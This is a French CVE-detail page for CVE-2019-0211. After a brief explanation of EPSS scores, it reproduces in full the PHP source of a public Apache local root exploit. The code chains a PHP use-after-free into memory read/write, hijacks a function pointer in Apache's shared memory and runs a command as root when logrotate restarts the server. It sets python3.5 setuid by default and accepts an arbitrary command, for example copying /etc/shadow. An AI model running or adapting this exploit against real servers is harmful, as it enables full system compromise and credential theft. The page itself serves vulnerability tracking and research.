CVE-2019-0211 : Détail

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

<?php # CARPE (DIEM): CVE-2019-0211 Apache Root Privilege Escalation # Charles Fol # @cfreal_ # 2019-04-08 # # INFOS # # https://cfreal.github.io/carpe-diem-cve-2019-0211-apache-local-root.html # # USAGE # # 1. Upload exploit to Apache HTTP server # 2. Send request to page # 3. Await 6:25AM for logrotate to restart Apache # 4. python3.5 is now suid 0 # # You can change the command that is ran as root using the cmd HTTP # parameter (GET/POST). # Example: curl http://localhost/carpediem.php?cmd=cp+/etc/shadow+/tmp/ # # SUCCESS RATE # # Number of successful and failed exploitations relative to of the number # of MPM workers (i.e. Apache subprocesses). YMMV. # # W --% S F # 5 87% 177 26 (default) # 8 89% 60 8 # 10 95% 70 4 # # More workers, higher success rate. # By default (5 workers), 87% success rate. With huge HTTPds, close to 100%. # Generally, failure is due to all_buckets being relocated too far from its # original address. # # TESTED ON # # - Apache/2.4.25 # - PHP 7.2.12 # - Debian GNU/Linux 9.6 # # TESTING # # $ curl http://localhost/cfreal-carpediem.php # $ sudo /usr/sbin/logrotate /etc/logrotate.conf --force # $ ls -alh /usr/bin/python3.5 # -rwsr-sr-x 2 root root 4.6M Sep 27 2018 /usr/bin/python3.5 # # There are no hardcoded addresses. # - Addresses read through /proc/self/mem # - Offsets read through ELF parsing # # As usual, there are tons of comments. # o('CARPE (DIEM) ~ CVE-2019-0211'); o(''); error_reporting(E_ALL); # Starts the exploit by triggering the UAF. function real() { global $y; $y = [new Z()]; json_encode([0 => &$y]); } # In order to read/write what comes after in memory, we need to UAF a string so # that we can control its size and make in-place edition. # An easy way to do that is to replace the string by a timelib_rel_time # structure of which the first bytes can be reached by the (y, m, d, h, i, s) # properties of the DateInterval object. # # Steps: # - Create a base object (Z) # - Add string property (abc) so that sizeof(abc) = sizeof(timelib_rel_time) # - Create DateInterval object ($place) meant to be unset and filled by another # - Trigger the UAF by unsetting $y[0], which is still reachable using $this # - Unset $place: at this point, if we create a new DateInterval object, it will # replace $place in memory # - Create a string ($holder) that fills $place's timelib_rel_time structure # - Allocate a new DateInterval object: its timelib_rel_time structure will # end up in place of abc # - Now we can control $this->abc's zend_string structure entirely using # y, m, d etc. # - Increase abc's size so that we can read/write memory that comes after it, # especially the shared memory block # - Find out all_buckets' position by finding a memory region that matches the # mutex->meth structure # - Compute the bucket index required to reach the SHM and get an arbitrary # function call # - Scan ap_scoreboard_image->parent[] to find workers' PID and replace the # bucket class Z implements JsonSerializable { public function jsonSerialize() { global $y, $addresses, $workers_pids; # # Setup memory # o('Triggering UAF'); o(' Creating room and filling empty spaces'); # Fill empty blocks to make sure our allocations will be contiguous # I: Since a lot of allocations/deallocations happen before the script # is ran, two variables instanciated at the same time might not be # contiguous: this can be a problem for a lot of reasons. # To avoid this, we instanciate several DateInterval objects. These # objects will fill a lot of potentially non-contiguous memory blocks, # ensuring we get "fresh memory" in upcoming allocations. $contiguous = []; for($i=0;$i<10;$i++) $contiguous[] = new DateInterval('PT1S'); # Create some space for our UAF blocks not to get overwritten # I: A PHP object is a combination of a lot of structures, such as # zval, zend_object, zend_object_handlers, zend_string, etc., which are # all allocated, and freed when the object is destroyed. # After the UAF is triggered on the object, all the structures that are # used to represent it will be marked as free. # If we create other variables afterwards, those variables might be # allocated in the object's previous memory regions, which might pose # problems for the rest of the exploitation. # To avoid this, we allocate a lot of objects before the UAF, and free # them afterwards. Since PHP's heap is LIFO, when we create other vars, # they will take the place of those objects instead of the object we # are triggering the UAF on. This means our object is "shielded" and # we don't have to worry about breaking it. $room = []; for($i=0;$i<10;$i++) $room[] = new Z(); # Build string meant to fill old DateInterval's timelib_rel_time # I: ptr2str's name is unintuitive here: we just want to allocate a # zend_string of size 78. $_protector = ptr2str(0, 78); o(' Allocating $abc and $p'); # Create ABC # I: This is the variable we will use to R/W memory afterwards. # After we free the Z object, we'll make sure abc is overwritten by a # timelib_rel_time structure under our control. The first 8*8 = 64 bytes # of this structure can be modified easily, meaning we can change the # size of abc. This will allow us to read/write memory after abc. $this->abc = ptr2str(0, 79); # Create $p meant to protect $this's blocks # I: Right after we trigger the UAF, we will unset $p. # This means that the timelib_rel_time structure (TRT) of this object # will be freed. We will then allocate a string ($protector) of the same # size as TRT. Since PHP's heap is LIFO, the string will take the place # of the now-freed TRT in memory. # Then, we create a new DateInterval object ($x). From the same # assumption, every structure constituting this new object will take the # place of the previous structure. Nevertheless, since TRT's memory # block has already been replaced by $protector, the new TRT will be put # in the next free blocks of the same size, which happens to be $abc # (remember, |abc| == |timelib_rel_time|). # We now have the following situation: $x is a DateInterval object whose # internal TRT structure has the same address as $abc's zend_string. $p = new DateInterval('PT1S'); # # Trigger UAF # o(' Unsetting both variables and setting $protector'); # UAF here, $this is usable despite being freed unset($y[0]); # Protect $this's freed blocks unset($p); # Protect $p's timelib_rel_time structure $protector = ".$_protector"; # !!! This is only required for apache # Got no idea as to why there is an extra deallocation (?) $room[] = "!$_protector"; o(' Creating DateInterval object'); # After this line: # &((php_interval_obj) x).timelib_rel_time == ((zval) abc).value.str # We can control the structure of $this->abc and therefore read/write # anything that comes after it in memory by changing its size and # making in-place edits using $this->abc[$position] = $char $x = new DateInterval('PT1S'); # zend_string.refcount = 0 # It will get incremented at some point, and if it is > 1, # zend_assign_to_string_offset() will try to duplicate it before making # the in-place replacement $x->y = 0x00; # zend_string.len $x->d = 0x100; # zend_string.val[0-4] $x->h = 0x13121110; # Verify UAF was successful # We modified stuff via $x; they should be visible by $this->abc, since # they are at the same memory location. if(!( strlen($this->abc) === $x->d && $this->abc[0] == "\x10" && $this->abc[1] == "\x11" && $this->abc[2] == "\x12" && $this->abc[3] == "\x13" )) { o('UAF failed, exiting.'); exit(); } o('UAF successful.'); o(''); # Give us some room # I: As indicated before, just unset a lot of stuff so that next allocs # don't break our fragile UAFd structure. unset($room); # # Setup the R/W primitive # # We control $abc's internal zend_string structure, therefore we can R/W # the shared memory block (SHM), but for that we need to know the # position of $abc in memory # I: We know the absolute position of the SHM, so we need to need abc's # as well, otherwise we cannot compute the offset # Assuming the allocation was contiguous, memory looks like this, with # 0x70-sized fastbins: # [zend_string:abc] # [zend_string:protector] # [FREE#1] # [FREE#2] # Therefore, the address of the 2nd free block is in the first 8 bytes # of the first block: 0x70 * 2 - 24 $address = str2ptr($this->abc, 0x70 * 2 - 24); # The address we got points to FREE#2, hence we're |block| * 3 higher in # memory $address = $address - 0x70 * 3; # The beginning of the string is 24 bytes after its origin $address = $address + 24; o('Address of $abc: 0x' . dechex($address)); o(''); # Compute the size required for our string to include the whole SHM and # apache's memory region $distance = max($addresses['apache'][1], $addresses['shm'][1]) - $address ; $x->d = $distance; # We can now read/write in the whole SHM and apache's memory region. # # Find all_buckets in memory # # We are looking for a structure s.t. # |all_buckets, mutex| = 0x10 # |mutex, meth| = 0x8 # all_buckets is in apache's memory region # mutex is in apache's memory region # meth is in libaprR's memory region # meth's function pointers are in libaprX's memory region o('Looking for all_buckets in memory'); $all_buckets = 0; for( $i = $addresses['apache'][0] + 0x10; $i < $addresses['apache'][1] - 0x08; $i += 8 ) { # mutex $mutex = $pointer = str2ptr($this->abc, $i - $address); if(!in($pointer, $addresses['apache'])) continue; # meth $meth = $pointer = str2ptr($this->abc, $pointer + 0x8 - $address); if(!in($pointer, $addresses['libaprR'])) continue; o(' [&mutex]: 0x' . dechex($i)); o(' [mutex]: 0x' . dechex($mutex)); o(' [meth]: 0x' . dechex($meth)); # meth->* # flags if(str2ptr($this->abc, $pointer - $address) != 0) continue; # methods for($j=0;$j<7;$j++) { $m = str2ptr($this->abc, $pointer + 0x8 + $j * 8 - $address); if(!in($m, $addresses['libaprX'])) continue 2; o(' [*]: 0x' . dechex($m)); } $all_buckets = $i - 0x10; o('all_buckets = 0x' . dechex($all_buckets)); break; } if(!$all_buckets) { o('Unable to find all_buckets'); exit(); } o(''); # The address of all_buckets will change when apache is gracefully # restarted. This is a problem because we need to know all_buckets's # address in order to make all_buckets[some_index] point to a memory # region we control. # # Compute potential bucket indexes and their addresses # o('Computing potential bucket indexes and addresses'); # Since we have sizeof($workers_pid) MPM workers, we can fill the rest # of the ap_score_image->servers items, so 256 - sizeof($workers_pids), # with data we like. We keep the one at the top to store our payload. # The rest is sprayed with the address of our payload. $size_prefork_child_bucket = 24; $size_worker_score = 264; # I get strange errors if I use every "free" item, so I leave twice as # many items free. I'm guessing upon startup some $spray_size = $size_worker_score * (256 - sizeof($workers_pids) * 2); $spray_max = $addresses['shm'][1]; $spray_min = $spray_max - $spray_size; $spray_middle = (int) (($spray_min + $spray_max) / 2); $bucket_index_middle = (int) ( - ($all_buckets - $spray_middle) / $size_prefork_child_bucket ); # # Build payload # # A worker_score structure was kept empty to put our payload in $payload_start = $spray_min - $size_worker_score; $z = ptr2str(0); # Payload maxsize 264 - 112 = 152 # Offset 8 cannot be 0, but other than this you can type whatever # command you want $bucket = isset($_REQUEST['cmd']) ? $_REQUEST['cmd'] : "chmod +s /usr/bin/python3.5"; if(strlen($bucket) > $size_worker_score - 112) { o( 'Payload size is bigger than available space (' . ($size_worker_score - 112) . '), exiting.' ); exit(); } # Align $bucket = str_pad($bucket, $size_worker_score - 112, "\x00"); # apr_proc_mutex_unix_lock_methods_t $meth = $z . $z . $z . $z . $z . $z . # child_init ptr2str($addresses['zend_object_std_dtor']) ; # The second pointer points to meth, and is used before reaching the # arbitrary function call # The third one and the last one are both used by the function call # zend_object_std_dtor(object) => ... => system(&arData[0]->val) $properties = # refcount ptr2str(1) . # u-nTableMask meth ptr2str($payload_start + strlen($bucket)) . # Bucket arData ptr2str($payload_start) . # uint32_t nNumUsed; ptr2str(1, 4) . # uint32_t nNumOfElements; ptr2str(0, 4) . # uint32_t nTableSize ptr2str(0, 4) . # uint32_t nInternalPointer ptr2str(0, 4) . # zend_long nNextFreeElement $z . # dtor_func_t pDestructor ptr2str($addresses['system']) ; $payload = $bucket . $meth . $properties ; # Write the payload o('Placing payload at address 0x' . dechex($payload_start)); $p = $payload_start - $address; for( $i = 0; $i < strlen($payload); $i++ ) { $this->abc[$p+$i] = $payload[$i]; } # Fill the spray area with a pointer to properties $properties_address = $payload_start + strlen($bucket) + strlen($meth); o('Spraying pointer'); o(' Address: 0x' . dechex($properties_address)); o(' From: 0x' . dechex($spray_min)); o(' To: 0x' . dechex($spray_max)); o(' Size: 0x' . dechex($spray_size)); o(' Covered: 0x' . dechex($spray_size * count($workers_pids))); o(' Apache: 0x' . dechex( $addresses['apache'][1] - $addresses['apache'][0] )); $s_properties_address = ptr2str($properties_address); for( $i = $spray_min; $i < $spray_max; $i++ ) { $this->abc[$i - $address] = $s_properties_address[$i % 8]; } o(''); # Find workers PID in the SHM: it indicates the beginning of their # process_score structure. We can then change process_score.bucket to # the index we computed. When apache reboots, it will use # all_buckets[ap_scoreboard_image->parent[i]->bucket]->mutex # which means we control the whole apr_proc_mutex_t structure. # This structure contains pointers to multiple functions, especially # mutex->meth->child_init(), which will be called before privileges # are dropped. # We do this for every worker PID, incrementing the bucket index so that # we cover a bigger range. o('Iterating in SHM to find PIDs...'); # Number of bucket indexes covered by our spray $spray_nb_buckets = (int) ($spray_size / $size_prefork_child_bucket); # Number of bucket indexes covered by our spray and the PS structures $total_nb_buckets = $spray_nb_buckets * count($workers_pids); # First bucket index to handle $bucket_index = $bucket_index_middle - (int) ($total_nb_buckets / 2); # Iterate over every process_score structure until we find every PID or # we reach the end of the SHM for( $p = $addresses['shm'][0] + 0x20; $p < $addresses['shm'][1] && count($workers_pids) > 0; $p += 0x24 ) { $l = $p - $address; $current_pid = str2ptr($this->abc, $l, 4); o('Got PID: ' . $current_pid); # The PID matches one of the workers if(in_array($current_pid, $workers_pids)) { unset($workers_pids[$current_pid]); o(' PID matches'); # Update bucket address $s_bucket_index = pack('l', $bucket_index); $this->abc[$l + 0x20] = $s_bucket_index[0]; $this->abc[$l + 0x21] = $s_bucket_index[1]; $this->abc[$l + 0x22] = $s_bucket_index[2]; $this->abc[$l + 0x23] = $s_bucket_index[3]; o(' Changed bucket value to ' . $bucket_index); $min = $spray_min - $size_prefork_child_bucket * $bucket_index; $max = $spray_max - $size_prefork_child_bucket * $bucket_index; o(' Ranges: 0x' . dechex($min) . ' - 0x' . dechex($max)); # This bucket range is covered, go to the next one $bucket_index += $spray_nb_buckets; } } if(count($workers_pids) > 0) { o( 'Unable to find PIDs ' . implode(', ', $workers_pids) . ' in SHM, exiting.' ); exit(); } o(''); o('EXPLOIT SUCCESSFUL.'); o('Await 6:25AM.'); return 0; } } function o($msg) { # No concatenation -> no string allocation print($msg); print("\n"); } function ptr2str($ptr, $m=8) { $out = ""; for ($i=0; $i<$m; $i++) { $out .= chr($ptr & 0xff); $ptr >>= 8; } return $out; } function str2ptr(&$str, $p, $s=8) { $address = 0; for($j=$s-1;$j>=0;$j--) { $address <<= 8; $address |= ord($str[$p+$j]); } return $address; } function in($i, $range) { return $i >= $range[0] && $i < $range[1]; } /** * Finds the offset of a symbol in a file. */ function find_symbol($file, $symbol) { $elf = file_get_contents($file); $e_shoff = str2ptr($elf, 0x28); $e_shentsize = str2ptr($elf, 0x3a, 2); $e_shnum = str2ptr($elf, 0x3c, 2); $dynsym_off = 0; $dynsym_sz = 0; $dynstr_off = 0; for($i=0;$i<$e_shnum;$i++) { $offset = $e_shoff + $i * $e_shentsize; $sh_type = str2ptr($elf, $offset + 0x04, 4); $SHT_DYNSYM = 11; $SHT_SYMTAB = 2; $SHT_STRTAB = 3; switch($sh_type) { case $SHT_DYNSYM: $dynsym_off = str2ptr($elf, $offset + 0x18, 8); $dynsym_sz = str2ptr($elf, $offset + 0x20, 8); break; case $SHT_STRTAB: case $SHT_SYMTAB: if(!$dynstr_off) $dynstr_off = str2ptr($elf, $offset + 0x18, 8); break; } } if(!($dynsym_off && $dynsym_sz && $dynstr_off)) exit('.'); $sizeof_Elf64_Sym = 0x18; for($i=0;$i * $sizeof_Elf64_Sym < $dynsym_sz;$i++) { $offset = $dynsym_off + $i * $sizeof_Elf64_Sym; $st_name = str2ptr($elf, $offset, 4); if(!$st_name) continue; $offset_string = $dynstr_off + $st_name; $end = strpos($elf, "\x00", $offset_string) - $offset_string; $string = substr($elf, $offset_string, $end); if($string == $symbol) { $st_value = str2ptr($elf, $offset + 0x8, 8); return $st_value; } } die('Unable to find symbol ' . $symbol); } # Obtains the addresses of the shared memory block and some functions through # /proc/self/maps # This is hacky as hell. function get_all_addresses() { $addresses = []; $data = file_get_contents('/proc/self/maps'); $follows_shm = false; foreach(explode("\n", $data) as $line) { if(!isset($addresses['shm']) && strpos($line, '/dev/zero')) { $line = explode(' ', $line)[0]; $bounds = array_map('hexdec', explode('-', $line)); if ($bounds[1] - $bounds[0] == 0x14000) { $addresses['shm'] = $bounds; $follows_shm = true; } } if( preg_match('#(/[^\s]+libc-[0-9.]+.so[^\s]*)#', $line, $matches) && strpos($line, 'r-xp') ) { $offset = find_symbol($matches[1], 'system'); $line = explode(' ', $line)[0]; $line = hexdec(explode('-', $line)[0]); $addresses['system'] = $line + $offset; } if( strpos($line, 'libapr-1.so') && strpos($line, 'r-xp') ) { $line = explode(' ', $line)[0]; $bounds = array_map('hexdec', explode('-', $line)); $addresses['libaprX'] = $bounds; } if( strpos($line, 'libapr-1.so') && strpos($line, 'r--p') ) { $line = explode(' ', $line)[0]; $bounds = array_map('hexdec', explode('-', $line)); $addresses['libaprR'] = $bounds; } # Apache's memory block is between the SHM and ld.so # Sometimes some rwx region gets mapped; all_buckets cannot be in there # but we include it anyways for the sake of simplicity if( ( strpos($line, 'rw-p') || strpos($line, 'rwxp') ) && $follows_shm ) { if(strpos($line, '/lib')) { $follows_shm = false; continue; } $line = explode(' ', $line)[0]; $bounds = array_map('hexdec', explode('-', $line)); if(!array_key_exists('apache', $addresses)) $addresses['apache'] = $bounds; else if($addresses['apache'][1] == $bounds[0]) $addresses['apache'][1] = $bounds[1]; else $follows_shm = false; } if( preg_match('#(/[^\s]+libphp7[0-9.]+.so[^\s]*)#', $line, $matches) && strpos($line, 'r-xp') ) { $offset = find_symbol($matches[1], 'zend_object_std_dtor'); $line = explode(' ', $line)[0]; $line = hexdec(explode('-', $line)[0]); $addresses['zend_object_std_dtor'] = $line + $offset; } } $expected = [ 'shm', 'system', 'libaprR', 'libaprX', 'apache', 'zend_object_std_dtor' ]; $missing = array_diff($expected, array_keys($addresses)); if($missing) { o( 'The following addresses were not determined by parsing ' . '/proc/self/maps: ' . implode(', ', $missing) ); exit(0); } o('PID: ' . getmypid()); o('Fetching addresses'); foreach($addresses as $k => $a) { if(!is_array($a)) $a = [$a]; o(' ' . $k . ': ' . implode('-0x', array_map(function($z) { return '0x' . dechex($z); }, $a))); } o(''); return $addresses; } # Extracts PIDs of apache workers using /proc/*/cmdline and /proc/*/status, # matching the cmdline and the UID function get_workers_pids() { o('Obtaining apache workers PIDs'); $pids = []; $cmd = file_get_contents('/proc/self/cmdline'); $processes = glob('/proc/*'); foreach($processes as $process) { if(!preg_match('#^/proc/([0-9]+)$#', $process, $match)) continue; $pid = (int) $match[1]; if( !is_readable($process . '/cmdline') || !is_readable($process . '/status') ) continue; if($cmd !== file_get_contents($process . '/cmdline')) continue; $status = file_get_contents($process . '/status'); foreach(explode("\n", $status) as $line) { if( strpos($line, 'Uid:') === 0 && preg_match('#\b' . posix_getuid() . '\b#', $line) ) { o(' Found apache worker: ' . $pid); $pids[$pid] = $pid; break; } } } o('Got ' . sizeof($pids) . ' PIDs.'); o(''); return $pids; } $addresses = get_all_addresses(); $workers_pids = get_workers_pids(); real();